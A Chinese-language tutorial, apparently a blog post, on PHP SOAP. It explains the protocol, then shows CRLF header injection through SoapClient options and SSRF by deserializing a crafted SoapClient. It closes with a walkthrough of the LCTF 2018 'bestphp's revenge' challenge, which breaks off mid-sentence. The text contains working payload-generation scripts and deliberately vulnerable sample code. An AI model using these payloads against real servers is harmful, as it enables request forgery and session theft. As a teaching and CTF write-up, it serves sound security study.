一、SOAP简介
SOAP(Simple Object Accrss Protocol,简单对象访问协议)是一种简单的基于XML的协议,可以使应用程序在分散或分布式的环境中,多数通过HTTP来传输信息的。
SOAP是Web Service的通信协议,是基于XML语言和XSD标准,其定义了一套编码规则,编码规则定义如何将数据表示为消息,以及怎样通过HTTP协议来传输SOAP消息,由四部分组成:
-
(1) SOAP信封(Envelope):定义了一个框架,框架描述了消息中的内容是什么,包括消息的内容、发送者、接收者、处理者以及如何处理消息。
-
(2)SOAP编码规则:定义了一种系列化机制,用于交换应用程序所定义的数据类型的实例。
-
(3) SOAP RPC表示:定义了用于表示远程过程调用和应答协定。
-
(4)SOAP绑定:定义了一种使用底层传输协议来完成在节点间交换SOAP信封的约定。
格式如下:
<?xml
version="1.0"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Header>
</soap:Header>
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>
</soap:Envelope>
其中 Envelope: 标识XML文档,具有名称空间和编码详细信息。
Header:包含标题信息,如内容类型和字符集等。
Body:包含请求和响应信息。
Fault:错误和状态信息。
模型如下
二、php 实现 SOAP通信
常用来实现SOAP通信的类如下:
-
SoapClient() SoapClient用于调用远程服务器上的SoapServer页面,并实现了对相应函数的调用(客户端)它有两种操作形式:WSDL 模式,Non-WSDL 模式
- SoapFault() SoapFault用于生成soap访问过程中可能出现的错误。创建一个soapFault对象的语法格式
- SoapHeader() : 用于描述soap的header信息,一般用于认证
- SoapServer() SoapServer用于创建php服务器端页面时定义可被调用的函数及返回 响应数据
- SoapParam() 是一个只包含构造器方法的数据容器。这个方法可以用来描述传递给 Web Services 操作的参数。在 non-WSDL 模式中这是一个很有用的类,可以用来传递所期望格式的参数信息。
这里看一下 soapclient 发送的数据包的几个简单例子Non-WSDL模式下 实例
<?php
$cli = new SoapClient(null, array('uri' => "http://ip/bbb", 'location' => "http://ip/aaa", 'trace' => true,'encoding'=>'utf-8'));
$head = new SoapHeader('http://ip/', 'key', '123456789', false, SOAP_ACTOR_NEXT);
$cli->__setSoapHeaders(array($h));
$cli->say("test"); //say 是自己定义的
?>
可以看一下各个值所在的位置
再看一个完整的通信过程
<?php //客户端
try {
$client = new SoapClient(null, [
'location' => 'http://localhost/index.php',
'uri' => 'http://localhost/php-soap/non-wsdl/helloService'
]);
$result = $client->__soapCall('greet', [
new SoapParam('Suhua', 'name')
]);
printf("Result = %s\n", $result);
} catch (Exception $e) {
printf("Message = %s",$e->__toString());
}
<?php // 服务端
function greet($param)
{
$value = 'Hello '.$param;
return new SoapParam($value, 'greetReturn');
}
$server = new SoapServer(null, [
'uri' => 'http://localhost/php-soap/non-wsdl/helloService'
]);
$server->addFunction('greet');
$server->handle();
?>
看一下流量
请求包
POST /index.php HTTP/1.1
Host: localhost
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://localhost/php-soap/non-wsdl/helloServic#greet"
Content-Length: 516
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="http://localhost/php-soap/non-wsdl/helloServic"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:greet>
<name xsi:type="xsd:string">Suhua</name>
</ns1:greet>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
响应包
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2020 11:20:10 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Content-Length: 553
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="http://localhost/php-soap/non-wsdl/helloService"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:greetResponse>
<greetReturn xsi:type="xsd:string">Hello Suhua</greetReturn>
</ns1:greetResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
三、安全问题
了解完简单的通信过程,就看一下看全问题
① CRLF 漏洞
<?php
try {
$client = new SoapClient(null, [
'location' => 'http://localhost/index.php',
'uri' => 'http://localhost/php-soap/non-wsdl/helloServic'
]);
$result = $client->__soapCall('greet', [
new SoapParam('Suhua', 'name')
]);
printf("Result = %s\n", $result);
} catch (Exception $e) {
printf("Message = %s",$e->__toString());
}
?>
aa的 位置在头部
当uri值为 aa\r\nusername:Diego\r\n
可以伪造任意请求。
除了uri外php手册上支持的头部都存在crlf ,这里选user-agent ,因为他的位置所在的位置出奇好 假设存在test.php
<?php
if ($_POST["data"]=="abc")
{
phpinfo();
}
?>
利用crlf漏洞构造payload
<?php
$target = "http://localhost/test.php";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1'
//cookie等参数
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>"diego\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ". (string)strlen($post_string)."\r\n\r\n".$post_string,'uri'=>'hello'));
$result = $b->__soapCall('greet', [
new SoapParam('Suhua', 'name')]);//为了发送随意构造的
?>
请求如下,被拆成多个包,有正常的有错误的,响应也同样存在200 和400
② 利用反序列化 进行 SSRF
假设存在如下代码 利用对SoapClient反序列化 从而能达到ssrf
<?php
class test
{
public $name = "abc";
function show()
{
var_dump();
}
}
$a = unserilize($_GET["test"]);
$a->show();
?>
反序列化之后,在调用任意方法,再结合crlf即可发送我们想要请求,进而达到ssrf
借鉴个构造脚本
<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Diego^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo urlencode($aaa);
?>
③ 代码注入
如果使用soap进行通信 ,用户的输入未进行过滤,就能达到注入的效果
如果下面的 name 值完全可控
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="http://localhost/php-soap/non-wsdl/helloServic"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:greet>
<name xsi:type="xsd:string">Suhua</name>
</ns1:greet>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
用户可以通过输入 </name>进行前面闭合,然后代码注入
四、实例
bestphp’s revenge
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
flag.php
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
这里利用php session反序列化,可以任意反序列化,目的是通过ssrf访问flag.php 上面的soap就可以很好的达到目的。
直接用脚本
<?php
$target = "http://127.0.0.1/flag.php";
$post_string = 'data=abc';
$headers = array(
'Cookie: PHPSESSID=fiuvgauodhtc5usq5of9t58q61'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Diego^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo urlencode($aaa);
?>
先利用session处理差异,提交构造好的序列
这里再次使用call_user_func的目的是让
SoapClient->welcome_to_the_lctf2018()执行,这样才能发送